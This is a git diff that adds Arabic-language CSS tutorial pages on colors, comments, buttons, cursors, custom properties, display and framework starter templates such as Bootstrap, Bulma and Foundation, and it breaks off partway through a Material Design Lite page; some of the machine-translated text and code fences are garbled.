+يدعم CSS أسماء الألوان والألوان السداسية العشرية والألوان RGB. بالإضافة إلى مقدمة إعلان `opacity` ، يمكن الآن تحديد الألوان في CSS3 باستخدام أسماء الألوان ، أو قيم RGB ، HEX ، HSL ، RGBA ، HSLA.
+
+يدعم HTML 140 [أسماء ألوان](https://www.w3schools.com/colors/colors_names.asp) قياسية.
+
+### RGB (A)
+
+RGB تعني "أحمر ، أخضر ، أزرق". قيمة RGB هي مجموعة من قيم الكثافة للأحمر والأخضر والأزرق. كل منها بين 0 (أسود) و 255 (كثافة كاملة). قيم اللون RGBA هي امتداد لقيم ألوان RGB مع قناة ألفا - تحدد عتامة اللون. المعلمة alpha هي رقم بين 0.0 (شفاف بالكامل) و 1.0 (معتمة بالكامل).
+
+يتم تحديد قيمة لون RGB بـ: rgb (أحمر ، أخضر ، أزرق) قيمة لون RGBA متشابهة ، مع قيمة alpha في الموضع الأخير: rgba (أحمر ، أخضر ، أزرق ، alpha)
+
+### HSL (A)
+
+HSL تعني "Hue ، التشبع والخفة". هيو هي درجة على عجلة الألوان (من 0 إلى 360): 0 (أو 360) باللون الأحمر 120 أخضر 240 أزرق التشبع هو قيمة النسبة المئوية: 100٪ هو اللون الكامل. الخفة هي أيضا نسبة مئوية. 0٪ داكن (أسود) و 100٪ أبيض. قيم ألوان HSLA هي امتداد لقيم ألوان HSL مع قناة ألفا - والتي تحدد عتامة اللون.
+
+يتم تحديد قيمة لون HSL مع: hsl (تدرج ، تشبع ، خفة). قيمة لون HSLA متشابهة ، مع قيمة alpha في الموضع الأخير: hsla (تدرج ، تشبع ، خفة ، ألفا)
+
+### CMYK
+
+ألوان CMYK هي مزيج من CYAN و MAGENTA و YELLOW و BLACK. تعرض شاشات الكمبيوتر ألوانًا باستخدام قيم ألوان RGB. غالبًا ما تقدم الطابعات ألوانًا باستخدام قيم ألوان CMYK. CMYK غير مدعوم في HTML ، ولكن يُقترح كمعيار جديد في CSS4.
+
+مثال على الألوان: CMYK الأحمر: cmyk (0٪ ، 100٪ ، 100٪ ، 0٪) CMYK Green: cmyk (100٪، 0٪، 100٪، 0٪) CMYK Blue: cmyk (100٪، 100٪، 0٪، 0٪)
+
+### Hexcodes
+
+Hexcode ، وهو اختصار للرمز السداسي العشري ، هو طريقة للتعبير عن قيمة لون للكمبيوتر الخاص بك. يتم تسميته بهذه الطريقة لأنه يمكن استخدام 16 رمزًا فريدًا كقيم. في هذه الحالة ، يتم استخدام الأرقام من 0 إلى 9 والأحرف من a إلى f.
+
+يتم التعبير عن الرموز السداسية بهذا التنسيق: # 000000 ، والذي سيكون اللون الأسود في هذا المثال. يتم استخدام ستة أحرف في كل hexcode ، باستخدام أي من الأحرف الستة عشر المذكورة سابقاً. تنقسم هذه الشخصيات الست إلى ثلاثة أزواج من اثنين.
+
+هذه الأزواج الثلاثة تعبر عن قيمة لمقدار اللون الأحمر والأخضر والأزرق بلون معين. أخذ اللون السداسي # AA11BB ، AA هو كمية من اللون الأحمر ، 11 كمية من الأخضر ، و BB كمية من اللون الأزرق. 0 هي أقل قيمة للون بينما f هي أعلى قيمة.
+
+تكون الرموز السداسية غير حساسة لحالة الأحرف ، مما يعني أن #FFFFFF و #ffffff سيكونان بنفس اللون: أبيض.
+
+بالإضافة إلى ذلك ، هناك 16777716 من تركيبات الألوان الممكنة باستخدام hexcode.
+
+### غموض
+
+تعيّن خاصية عتامة CSS3 العتامة للعنصر بأكمله (سيكون لون الخلفية والنص معتمًا / شفافًا). بخلاف قيم alpha المحددة بـ rgba و hsla ، يتم توارث العتامة بواسطة العناصر الفرعية.
+
+يجب أن تكون قيمة خاصية التعتيم عبارة عن رقم بين 0.0 (شفاف تمامًا) و 1.0 (كامد تمامًا).
+
+#### أمثلة
+
+ `
+<html> 
+  <body> 
+    <p>Hello Moto</p> 
+  </body> 
+ </html> 
+` 
+
+ `body { 
+  background-color: green; 
+  color: white; 
+ } 
+` 
+
+في المثال أعلاه ، يتحول `background-color: green` إلى عنصر `<body>` باللون الأخضر. يؤدي هذا إلى تحويل صفحة الويب بأكملها إلى اللون الأخضر. تكون عناصر `<p>` بيضاء بعد `color: white` أيضًا. يمكنك استخدام ألوان مسمى ، مثل `green` `blue` `yellow` `red` `purple` وغيرها الكثير. ولكن بالنسبة للألوان المخصصة ، يمكنك استخدام الأكواد العشرية ( `#147ACC` ) ، قيم RGB ( `rgb(20, 122, 204)` ) ، وحتى قيم HSL ( `hsl(145, 59%, 30%)` ).
+
+ `p { 
+  color: rgba(244, 145, 14, 0.80); // bright orange 
+ } 
+ 
+ h2 { 
+ color: #FA8072; //salmon 
+ } 
+` 
+
+يمكنك أيضًا إضافة قيمة ألفا ، أو الشفافية للألوان. الشفافية تسمح بتراكب النص على صورة وتمييز الصورة بشكل جزئي من خلال النص ، أو يمكن استخدامها لتغيير ظل اللون إذا لم تكن هناك عناصر أخرى أمام أو خلف النص. استخدم `rgba()` أو `hsla()` وقم بتعبئة قيم الألوان الخاصة بك. تنخفض قيمة alpha ويتم تحويلها إلى قيمة عشرية. (على سبيل المثال ، 20٪ هي 0.2 ، 75٪ هي 0.75 ، إلخ.)
+
+ `body { 
+  background-color: hsl(184, 87%, 94%); // bright blue 
+ } 
+` 
+
+يظهر أعلاه فقرات مصممة باللون البرتقالي اللامع و 20٪ شفافة ، وعناصر h2 بلون وردي من سمك السلمون ، وخلفية الجسم زاهية اللون.
+
+للحصول على ألوان مخصصة لاستخدامها في CSS ، قد تجد منتقي ألوان مفيدًا. تحتوي بعض برامج تحرير النصوص على أدوات تحديد الألوان المضمنة ، مثل Visual Studio Code. إذا كنت تبحث عن "color picker" على Google أو DuckDuckGo ، فستحصل على منتقي ألوان يمكنك استخدامه. يحتوي كل من Google Chrome و Firefox أيضًا على إضافات لونية اللون يمكنك تثبيتها. لا يساعد Adobe Color CC في اختيار اللون فحسب ، بل سيساعدك أيضًا في اختيار مخطط ألوان لصفحة الويب الخاصة بك! من المستحسن التحقق من وجود تباين كافٍ بين النص وألوان الخلفية باستخدام أداة مثل مدقق لون التباين لـ WebAIM.
+
+#### معلومات اكثر:
+
+[Adobe Color CC](https://color.adobe.com/) [Colorpick Eyedropper على سوق Chrome الإلكتروني](https://chrome.google.com/webstore/detail/colorpick-eyedropper/ohcpnigalekghcmgcdcenkpelffpdolg?hl=en) [إضافة ColorZilla لمتصفح فايرفوكس](https://addons.mozilla.org/en-US/firefox/addon/colorzilla/) [استكشاف مختلف ألوان الهيكس](http://www.colorhexa.com/) [WebAIM Color Contrast Checker](https://webaim.org/resources/contrastchecker/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/comments-in-css/index.md b/client/src/guide/arabic/css/comments-in-css/index.md
new file mode 100644
index 0000000000..c8a024dfb2
--- /dev/null
+++ b/client/src/guide/arabic/css/comments-in-css/index.md
@@ -0,0 +1,79 @@
+---
+title: Comments in CSS
+localeTitle: التعليقات في CSS
+---
+## التعليقات في CSS
+
+يتم استخدام التعليقات في CSS لشرح كتلة من التعليمات البرمجية أو لإجراء تغييرات مؤقتة أثناء التطوير. لا يتم تنفيذ التعليمة البرمجية التي تم التعليق عليها.
+
+يعمل بناء جملة التعليقات في CSS على التعليقات الفردية والمتعددة الخطوط. يمكنك إضافة أي عدد من التعليقات إلى ورقة أنماطك كما تريد.
+
+ `    /* 
+        This is 
+        a multi-line 
+        comment 
+    */ 
+ 
+    /* This is a single line comment*/ 
+    .group:after { 
+        content: ""; 
+        display: table; 
+        clear: both; 
+    } 
+` 
+
+من خلال استخدام تعليقات CSS لجعل أوراق الأنماط لديك أكثر قابلية للقراءة ، سيكون من الأسهل الحفاظ على CSS في المستقبل لك أو لأي مطور آخر. من الممارسات الجيدة استخدام تعليقات CSS للمساعدة في تحديد أجزاء أي ورقة أنماط قد يصعب فهمها بالنسبة لشخص لم يكتب الشفرة.
+
+يمكنك أيضًا جعل تعليقاتك أكثر قابلية للقراءة عن طريق تصميمها.
+
+ `/* 
+ *** 
+ * SECTION FOR H2 STYLE 
+ *** 
+ * A paragraph where I give informations 
+ * about everything that someone who reads the code 
+ * but didn't write it would need to know. 
+ * The asterisk around the paragraph make it more readable. 
+ *** 
+ */ 
+ 
+ You can add as many comments to your stylesheet as you like. It's good practice to use CSS comments to help identify parts of any stylesheet that might be difficult to understand from a cursory glance. Comments are especially important when working in a team, when your code must be understood by others. By using CSS comments to make your stylesheets more readable, the CSS will be easier to maintain in the future. 
+ 
+ ## Comment Formats 
+ 
+ Comments should be used everyday in your CSS to keep in maintainable and readable by any dev who dives into said CSS. 
+ Here are a few exmples to get you started of CSS comments you can use in your daily work to make your life that bit easier. 
+` 
+
+المغلق / \* + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + ++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++ CSS جدول المحتويات
+
+1.0 - إعادة تعيين 2.0 - الخطوط 3.0 - Globals 4.0 - لوحة الألوان 5.0 - الرأس 6.0 - الجسم 6.1 - المتزلجون 6.2 - الصور 7.0 - تذييل الصفحة ++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++
+
+/ 1.0 - إعادة تعيين \* /
+
+/ 2.0 - الخطوط \* /
+
+/ 3.0 - Globals \* /
+
+/ 4.0 - لوحة الألوان \* /
+
+/ 5.0 - الرأس \* /
+
+/ 6.0 - الجسم \* /
+
+ `/************************************************************************ 
+ 5.1 - Sliders */ 
+ 
+ /************************************************************************ 
+ 5.2 - Imagery */ 
+` 
+
+/ 7.0 - تذييل الصفحة \* / \`\` \`المغلق
+
+h2 { حجم الخط: 1.2em ؛ font-family: "Ubuntu"، serif؛ تحويل النص: أحرف كبيرة؛ } \`\` \`
+
+### معلومات اكثر:
+
+*   [وثائق MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/Comments)
+*   [تعليقات المغلق من قبل آدم روبرتس](https://www.sitepoint.com/css-comments/)
+*   [CSS المبادئ التوجيهية](https://cssguidelin.es/#commenting)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/css-buttons/index.md b/client/src/guide/arabic/css/css-buttons/index.md
new file mode 100644
index 0000000000..5637febea0
--- /dev/null
+++ b/client/src/guide/arabic/css/css-buttons/index.md
@@ -0,0 +1,106 @@
+---
+title: CSS Buttons
+localeTitle: أزرار CSS
+---
+## أزرار CSS
+
+*   يمكنك نمط أي زر قابل للنقر (HTML `<button>` element)
+
+`<button>Click Me</button>`
+
+*   يبدو الزر الافتراضي كما يلي:
+
+![Default Button Style](https://image.ibb.co/kCweAm/button.png "نمط الزر الافتراضي")
+
+## تصميم زر
+
+يمكنك تغيير عدة خصائص لزر لتغيير مظهره.
+
+لإضافة الظلال إلى الزر ، استخدم خاصية `box-shadow` .
+
+لإضافة شفافية إلى زر لتأثير معطل ، استخدم `opacity` الخاصية.
+
+لإزالة الهوامش وإنشاء مجموعة زر إضافة `float:left/right` خاصية `float:left/right` .
+
+لإنشاء مجموعة أزرار ولكن باستخدام الحدود ، استخدم خاصية `float` وأضف `border property` .
+
+لإنشاء مجموعة أزرار عمودية استخدم display: `block property` .
+
+### لون الزر
+
+لتغيير لون خلفية زر ، استخدم خاصية لون الخلفية:
+
+`button {background-color: #6ba0f4;}`
+
+![Button Background-Color](https://image.ibb.co/f5Xpt6/button_bg_blue.png "زر خلفية اللون")
+
+لإضافة حد ملون إلى زر ، استخدم خاصية الحدود:
+
+ `button { 
+  background-color: #FFF; 
+  color: #FFF; 
+  border: 2px solid #6ba0f4; 
+ } 
+` 
+
+![Button Border](https://image.ibb.co/kUqymR/button_border_blue.png "حدود الزر")
+
+### حجم النص الزر
+
+لتغيير حجم خط النص لأحد الأزرار ، استخدم خاصية حجم الخط:
+
+`button {font-size: 20px;}`
+
+![Button Text Size](https://image.ibb.co/gM9r6R/button_fontsize.png "حجم النص الزر")
+
+### زر الحشو
+
+لتغيير حشوة زر ، استخدم خاصية الحشو:
+
+`button {padding: 15px 30px;}`
+
+![Button Padding](https://image.ibb.co/fKer6R/button_padding.png "زر الحشو")
+
+### عرض الزر
+
+لتغيير عرض زر ، بغض النظر عن محتوى النص ، استخدم خاصية العرض:
+
+`button {width: 250px;}`
+
+![Button Width](https://image.ibb.co/cDgSfm/button_width.png "عرض الزر")
+
+### أزرار مدورة
+
+لإنشاء أزرار مستديرة ، استخدم خاصية border-radius:
+
+`button {border-radius: 50%;}`
+
+![Rounded Buttons](https://image.ibb.co/cfH00m/button_bradius.png "أزرار مدورة")
+
+### أزرار Hoverable
+
+لتغيير نمط زر عند تحريك الماوس فوقه ، استخدم: select hover:
+
+ `button:hover { 
+  background-color: #0E2C5B; 
+  color: #FFF; 
+ } 
+` 
+
+![Hoverable Buttons](https://image.ibb.co/hxQnfm/button_hover.png "أزرار Hoverable")
+
+لتحديد سرعة تأثير التحويم ، استخدم `transition-duration` الخاصية.
+
+### أزرار معاق
+
+لتعطيل زر ، استخدم خاصية المؤشر:
+
+ `button { 
+  cursor: not-allowed; 
+ } 
+` 
+
+#### معلومات اكثر:
+
+*   https://www.w3schools.com/css/css3\_buttons.asp
+*   https://www.w3schools.com/howto/howto _css_ animate\_buttons.asp
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/css-cursors/index.md b/client/src/guide/arabic/css/css-cursors/index.md
new file mode 100644
index 0000000000..cc227e5bd6
--- /dev/null
+++ b/client/src/guide/arabic/css/css-cursors/index.md
@@ -0,0 +1,57 @@
+---
+title: CSS Cursors
+localeTitle: مؤشرات CSS
+---
+## مؤشرات CSS
+
+تحدد خاصية المؤشر نوع المؤشر الذي سيتم عرضه عند التمرير فوق عنصر. لديها 36 القيم المحتملة:
+
+ `    .auto            { cursor: auto; } 
+    .default         { cursor: default; } 
+    .none            { cursor: none; } 
+    .context-menu    { cursor: context-menu; } 
+    .help            { cursor: help; } 
+    .pointer         { cursor: pointer; } 
+    .progress        { cursor: progress; } 
+    .wait            { cursor: wait; } 
+    .cell            { cursor: cell; } 
+    .crosshair       { cursor: crosshair; } 
+    .text            { cursor: text; } 
+    .vertical-text   { cursor: vertical-text; } 
+    .alias           { cursor: alias; } 
+    .copy            { cursor: copy; } 
+    .move            { cursor: move; } 
+    .no-drop         { cursor: no-drop; } 
+    .not-allowed     { cursor: not-allowed; } 
+    .all-scroll      { cursor: all-scroll; } 
+    .col-resize      { cursor: col-resize; } 
+    .row-resize      { cursor: row-resize; } 
+    .n-resize        { cursor: n-resize; } 
+    .e-resize        { cursor: e-resize; } 
+    .s-resize        { cursor: s-resize; } 
+    .w-resize        { cursor: w-resize; } 
+    .ns-resize       { cursor: ns-resize; } 
+    .ew-resize       { cursor: ew-resize; } 
+    .ne-resize       { cursor: ne-resize; } 
+    .nw-resize       { cursor: nw-resize; } 
+    .se-resize       { cursor: se-resize; } 
+    .sw-resize       { cursor: sw-resize; } 
+    .nesw-resize     { cursor: nesw-resize; } 
+    .nwse-resize     { cursor: nwse-resize; } 
+` 
+
+![alt text](http://www.javascripter.net/faq/24_cursor_styles.gif "مؤشرات CSS")
+
+يمكنك أيضًا تعيين صورة كمؤشر.
+
+ `.custom-cursor { 
+  cursor: url(cursor-image.png); 
+ } 
+` 
+
+#### معلومات اكثر:
+
+*   تحقق من قيم المؤشر أعلاه في الإجراء: [codepen](https://codepen.io/chriscoyier/pen/uCwfB)
+*   شبكة مطوري موزيلا: [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/cursor)
+*   دعم المتصفح: [caniuse](http://caniuse.com/#search=cursor)
+*   أمثلة المؤشر من w3schools: [w3schools](https://www.w3schools.com/cssref/playit.asp?filename=playcss_cursor&preval=none)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/css-custom-properties/index.md b/client/src/guide/arabic/css/css-custom-properties/index.md
new file mode 100644
index 0000000000..e85fd13e15
--- /dev/null
+++ b/client/src/guide/arabic/css/css-custom-properties/index.md
@@ -0,0 +1,45 @@
+---
+title: CSS Custom Properties
+localeTitle: خصائص CSS مخصصة
+---
+## خصائص CSS مخصصة
+
+تتم الإشارة إلى خصائص CSS المخصصة أيضًا باسم متغيرات CSS. اعتبارًا من تشرين الأول (أكتوبر) 2018 ، لا تزال خصائص CSS المخصصة عبارة عن تقنية تجريبية. خذ بعين الاعتبار [دعم المستعرض](https://developer.mozilla.org/en-US/docs/Web/CSS/--*#Browser_compatibility) قبل استخدام الميزة في الإنتاج.
+
+### التصريح عن خصائص مخصصة
+
+ضمن محدد ، يتم تعريف الخصائص المخصصة باستخدام واصلين (-) والاسم ، متبوعًا بالقيمة. يمكن أن تكون القيمة بسيطة ، مثل اللون (RGB ، hexcode ، إلخ) أو الحجم (باستخدام البكسل ، em ، rem ، إلخ) ، أو يمكن أن تكون أكثر تعقيدًا ، مثل تعريف dropshadow. انظر الأمثلة أدناه.
+
+ `:root { 
+  --firstVariable: red; 
+  --headerSize: 16px; 
+  --dropShadow: 1px 1px 2px 2px rgba(100,100,100,0.2); 
+` 
+
+الإعلان عن الخصائص المخصصة في `:root` محدد `:root` جعل هذه الخصائص متاحة على مستوى العالم. يمكن اعتبار `:root` محدد `:root` نفس محدد `html` .
+
+### باستخدام خصائص مخصصة
+
+لاستخدام خاصية مخصصة ، يتم استخدام الدالة `var()` ، والتي تأخذ وسيطة واحدة من اسم الخاصية المخصصة. \`\` \`المغلق h1 { حجم الخط: var (- headerSize)؛ }
+
+.بطاقة { box-shadow: var (- dropShadow)؛ }
+
+ ``### Cascading Custom Properties 
+ When custom properties are declared in the `:root` selector, those properties are globally available; any style rules can use the properties. If a custom property needs to be different for specific element, class, or id, a property of the same can be declared in that selector. The compiler will first look for a property name within the immediate enclosing selector, then move to the `:root`. 
+`` 
+
+المغلق :جذر { -font-color: red؛ }
+
+h1 { -font-color: blue؛ }
+
+h1 { font-color: var (- font-color)؛ /\* أزرق \*/ }
+
+h2 { font-color: var (- font-color)؛ / \* أحمر \* / } \`\` \`
+
+#### معلومات اكثر:
+
+للمزيد من المعلومات قم بزيارة:
+
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/--*)
+*   [وثيقة توصية المرشح W3C](https://www.w3.org/TR/css-variables/)
+*   [دعم المتصفح](https://caniuse.com/#feat=css-variables)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/css-display/index.md b/client/src/guide/arabic/css/css-display/index.md
new file mode 100644
index 0000000000..193b98816b
--- /dev/null
+++ b/client/src/guide/arabic/css/css-display/index.md
@@ -0,0 +1,36 @@
+---
+title: CSS Display
+localeTitle: عرض CSS
+---
+## عرض CSS
+
+تحدد خاصية العرض نوع المربع المستخدم لعنصر HTML. لديها 20 قيمة ممكنة للكلمات الرئيسية. هذه هي شائعة الاستخدام:
+
+ `    .none             {display: none} 
+    .block            {display: block} 
+    .inline-block     {display: inline-block} 
+    .inline           {display: inline} 
+    .flex             {display: flex} 
+    .inline-flex      {display: inline-flex} 
+    .inline-table     {display: inline-table} 
+    .table            {display: table} 
+    .inherit          {display: inherit} 
+    .initial          {display: initial} 
+` 
+
+`display:none` يمكن أن تكون `display:none` خاصية مفيدة في كثير من الأحيان عند إجراء استجابة لموقع الويب. على سبيل المثال ، قد ترغب في إخفاء عنصر في الصفحة حيث ينكمش حجم الشاشة لتعويض نقص المساحة. `display: none` لن يؤدي إلى إخفاء العنصر فقط ، ولكن جميع العناصر الأخرى في الصفحة ستتصرف كما لو كان هذا العنصر غير موجود. هذا هو الفرق الأكبر بين هذه الخاصية `visibility: hidden` الخاصية `visibility: hidden` ، التي تخفي العنصر ولكنها تحتفظ بجميع عناصر الصفحة الأخرى في نفس المكان كما تظهر إذا كان العنصر المخفي مرئيًا.
+
+يتم تجميع قيم الكلمات الرئيسية هذه في ست فئات:
+
+*   `<display-inside>`
+*   `<display-outside>`
+*   `<display-listitem>`
+*   `<display-box>`
+*   `<display-internal>`
+*   `<display-legacy>`
+
+### معلومات اكثر:
+
+*   [MDN - العرض](https://developer.mozilla.org/en-US/docs/Web/CSS/display)
+*   [caniuse - دعم المستعرض](http://caniuse.com/#search=display)
+*   [CSS-Tricks- A Complete Guide to Flexbox](https://css-tricks.com/snippets/css/a-guide-to-flexbox/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/css-frameworks/css-framework-bootstrap/index.md b/client/src/guide/arabic/css/css-frameworks/css-framework-bootstrap/index.md
new file mode 100644
index 0000000000..2c9bf61c11
--- /dev/null
+++ b/client/src/guide/arabic/css/css-frameworks/css-framework-bootstrap/index.md
@@ -0,0 +1,84 @@
+---
+title: CSS Framework Bootstrap
+localeTitle: CSS Framework Bootstrap
+---
+# CSS Framework Bootstrap
+
+يعد Bootstrap هو إطار CSS الأكثر شيوعًا لتطوير المشاريع الأولى المتجاوبة والمتنقلة للويب.
+
+## الابتداء - احدث اصدار: 4.1
+
+في ما يلي نموذج HTML بسيط يشتمل على أحدث CSS وملف Javascript مجمّعة ومختصرة لمكتبة Bootstrap. لقد استخدمنا CDN في هذا المثال ، ولكن يمكنك التحقق [من الطرق الأخرى لتثبيت Bootstrap](https://getbootstrap.com/docs/4.1/getting-started/download/) .
+
+ `
+    <!DOCTYPE html> 
+    <html lang="en"> 
+      <head> 
+        <meta charset="utf-8"> 
+        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> 
+        <title>Bootstrap</title> 
+ 
+        <!--Latest compiled and minified CSS--> 
+  <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.0/css/bootstrap.min.css" integrity="sha384-9gVQ4dYFwwWSjIDZnLEWnxCjeSWFphJiwGPXr1jddIhOegiu1FwO5qRGvFXOdJZ4" crossorigin="anonymous"> 
+      </head> 
+      <body> 
+        <!-- Add all HTML Code below --> 
+ 
+        <!-- Add all HTML Code above --> 
+ 
+        <!-- jQuery --> 
+        <script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script> 
+        <!-- popper.js --> 
+        <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.3/umd/popper.min.js" integrity="sha384-ZMP7rVo3mIykV+2+9J3UJ46jBk0WLaUAdn689aCwoqbBJiSnjAK/l8WvCWPIPm49" crossorigin="anonymous"></script> 
+        <!-- Latest compiled bootstrap JavaScript --> 
+        <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js" integrity="sha384-smHYKdLADwkXOn1EmN1qk/HfnUcbVRZyYmZ4qpPea6sjB/pTJ0euyQp0Mk8ck+5T" crossorigin="anonymous"></script> 
+      </body> 
+    </html> 
+` 
+
+## الابتداء - Bootstrap 3
+
+Bootstrap 3 ليس أحدث إصدار مستقر من Bootstrap ، ولكنه لا يزال الإصدار الأكثر استخدامًا. ستجد في الكثير من القوالب ، وورد المواضيع والمشاريع وغيرها الكثير. مع أخذ ذلك في الاعتبار ، من الواضح أنه لا يزال من المفيد معرفة كيفية استخدامه. لا تتردد في الذهاب إلى Trstough على [وثائق Bootstrap](https://getbootstrap.com/docs/3.3/getting-started/) الممتازة.
+
+ `
+<!DOCTYPE html> 
+ <html lang="en"> 
+  <head> 
+    <!-- Required meta tags --> 
+    <meta charset="utf-8"> 
+    <meta http-equiv="X-UA-Compatible" content="IE=edge"> 
+    <meta name="viewport" content="width=device-width, initial-scale=1"> 
+ 
+    <!-- Bootstrap 3 CSS --> 
+    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"> 
+ 
+    <!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries --> 
+    <!-- WARNING: Respond.js doesn't work if you view the page via file:// --> 
+    <!--[if lt IE 9]> 
+    <script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script> 
+    <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script> 
+    <![endif]--> 
+  </head> 
+  <body> 
+    <!-- Add all HTML Code below --> 
+ 
+    <!-- Add all HTML Code above --> 
+ 
+    <!-- jQuery library --> 
+    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script> 
+    <!-- IU jQuery for better animations--> 
+    <script src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.12.1/jquery-ui.min.js"></script> 
+    <!-- compiled JavaScript --> 
+    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script> 
+  </body> 
+ </html> 
+` 
+
+**ملاحظة:** تتوفر إصدارات أخرى ويمكن العثور عليها على موقع Bootstrap.
+
+## مصادر التعلم
+
+*   الخروج من وثائق Bootstrap 4 الرسمية [هنا](https://getbootstrap.com/docs/4.1/getting-started/introduction/)
+*   الخروج من وثائق Bootstrap 3 الرسمية [هنا](https://getbootstrap.com/docs/3.3/getting-started/) .
+*   مستودع GitHub مفتوح المصدر لـ Bootout Bootout في Checkout [هنا](https://github.com/twbs/bootstrap) .
+*   في [FreeCodeCamp](https://www.freecodecamp.com/) ، نقوم بتدريس Bootstrap كجزء من مناهجنا الدراسية.
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/css-frameworks/css-framework-bulma/index.md b/client/src/guide/arabic/css/css-frameworks/css-framework-bulma/index.md
new file mode 100644
index 0000000000..2c2f09579e
--- /dev/null
+++ b/client/src/guide/arabic/css/css-frameworks/css-framework-bulma/index.md
@@ -0,0 +1,35 @@
+---
+title: CSS Framework Bulma
+localeTitle: CSS Framework Bulma
+---
+# CSS Framework Bulma
+
+Bulma هو إطار CSS حديث يعتمد على [Flexbox وقابلاً](http://forum.freecodecamp.com/t/css-flexbox-tips-and-tricks) للتخصيص بدرجة كبيرة باستخدام [Sass](http://sass-lang.com/) (SCSS).
+
+## ابدء
+
+في ما يلي نموذج HTML بسيط يشتمل على أحدث ملفات CSS المجمعة والمختصرة لمكتبة Bulma.
+
+ `
+    <!DOCTYPE html> 
+    <html lang="en"> 
+      <head> 
+        <meta charset="utf-8"> 
+        <meta name="viewport" content="width=device-width, initial-scale=1"> 
+        <title>Bulma Template</title> 
+        <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.5.0/css/font-awesome.min.css"> 
+        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bulma/0.0.23/css/bulma.min.css"> 
+      </head> 
+      <body> 
+        <h1>Hello World</h1> 
+        <!-- Add all HTML Code here --> 
+      </body> 
+    </html> 
+` 
+
+لقد استخدمنا CDN في هذا المثال ، ولكن يمكنك التحقق من الطرق الأخرى لتثبيت Bulma [هنا](http://bulma.io/documentation/overview/start/) .
+
+## مصادر التعلم
+
+*   الوثائق الرسمية لبولما متاحة [هنا](http://bulma.io/documentation/overview/start/) .
+*   الخروج مستودع GitHub مفتوحة المصدر بولما [هنا](https://github.com/jgthms/bulma) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/css-frameworks/css-framework-foundation/index.md b/client/src/guide/arabic/css/css-frameworks/css-framework-foundation/index.md
new file mode 100644
index 0000000000..70846f6f1f
--- /dev/null
+++ b/client/src/guide/arabic/css/css-frameworks/css-framework-foundation/index.md
@@ -0,0 +1,38 @@
+---
+title: CSS Framework Foundation
+localeTitle: مؤسسة CSS Framework
+---
+# مؤسسة CSS Framework
+
+[المؤسسة](http://foundation.zurb.com/) عبارة عن إطار CSS مفتوح المصدر [ومحمول](https://zurb.com/) لأول مرة تم إنشاؤه بواسطة [Zurb](https://zurb.com/) .
+
+## ابدء
+
+في ما يلي نموذج HTML بسيط يشتمل على أحدث CSS وملف Javascript مجمّعة ومختصرة لمكتبة المؤسسة.
+
+ `
+    <!DOCTYPE html> 
+    <html lang="en"> 
+      <head> 
+        <meta charset="utf-8"> 
+        <meta name="viewport" content="width=device-width, initial-scale=1"> 
+        <title>Foundation Template</title> 
+        <link rel="stylesheet" href="https://cdn.jsdelivr.net/foundation/6.2.1/foundation.min.css"> 
+      </head> 
+      <body> 
+        <h1>Hello World</h1> 
+        <!-- Add all HTML Code here --> 
+        <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script> 
+        <script src="https://cdn.jsdelivr.net/foundation/6.2.1/foundation.min.js"></script> 
+      </body> 
+    </html> 
+` 
+
+يستخدم هذا المثال استخدام CDN الذي يقوم بتحميل الإعدادات الافتراضية. إذا كنت ترغب في تخصيص تخطيط الشبكة ، قم بتغيير الألوان أو إضافة وإزالة المكونات التي يمكنك القيام بها على صفحة [تنزيل](http://foundation.zurb.com/sites/download/) Foundation.
+
+#### مصادر التعلم
+
+1.  [وثائق المؤسسة](http://foundation.zurb.com/sites/docs/)
+2.  [قائمة دروس المؤسسة](https://github.com/zurb/foundation-sites)
+3.  [مؤسسة ملفات المصدر على جيثب](http://foundation.zurb.com/learn/tutorials.html)
+4.  [DevTips سلسلة يوتيوب على شبكة المؤسسة](https://www.youtube.com/playlist?list=PLqGj3iMvMa4LJo_lBMTJwAlQRElulSeL8)
\ No newline at end of file
diff --git a/client/src/guide/arabic/css/css-frameworks/css-framework-material-design-lite/index.md b/client/src/guide/arabic/css/css-frameworks/css-framework-material-design-lite/index.md
new file mode 100644
index 0000000000..ee544dd360
--- /dev/null
+++ b/client/src/guide/arabic/css/css-frameworks/css-framework-material-design-lite/index.md
@@ -0,0 +1,32 @@
+---
+title: CSS Framework Material Design Lite
+localeTitle: CSS Framework Material Design Lite
+---
+# CSS Framework Material Design Lite
+
+يتيح لك Design Material Lite إضافة مظهر ومظهر تصميم مادي إلى مواقع الويب الخاصة بك. يهدف إلى تحسين للاستخدام عبر الأجهزة.
+
